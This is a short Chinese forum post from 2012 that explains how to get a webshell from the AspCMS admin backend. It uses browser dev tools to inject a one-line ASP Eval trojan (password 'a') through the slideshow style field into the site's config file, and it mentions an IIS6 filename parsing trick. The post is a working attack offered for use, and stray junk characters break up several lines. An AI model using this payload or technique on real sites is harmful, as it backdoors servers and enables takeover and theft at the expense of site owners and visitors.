aspcms在老版本中可以通过添加模板直接添加asp.但是新版的aspcms中已经限制了添加模板的格式为html,js,css,当然如果是遇到iis6的话还是可以通过iis6的解析漏洞把文件名改成1.asp;.html这样的格式来拿到shell的.可是如果遇到iis7.5呢?以下是本人自己找到挖掘到的aspcms通杀版本的后台拿shell方法.8 v' i0 e3 `3 N4 o( S4 z
1、进入后台，“扩展功能”--“幻灯片设置”--”幻灯样式”0 @; r) Z& k! D6 A4 w' C" v2 l6 `
- }; ?4 L: J6 ?# O
1 q' f' c5 k9 d. r# p8 c0 r- C# ]7 @' P( L0 W+ t& R
2、使用chorme的审查元素功能或者firefox的firebug，总之使用能修改当前页面元素的工具就好了。将对应的slidestyle的value的值修改为1%><%Eval(Request (chr(65)))%><%) J! }2 Q! [' L1 ]& o9 a5 k
7 J' d5 h f1 R" m4 I w
. r+ h1 H) A/ V9 E* V }
3、一句话木马，密码a。在/config/AspCms_Config.asp
; z/ z4 D @- `
6 \* U, V9 a1 m" J3 F# N7 p% b: G- Q6 i, o$ u _/ n
|
发表于 2012-11-9 20:55:05
收藏
支持
反对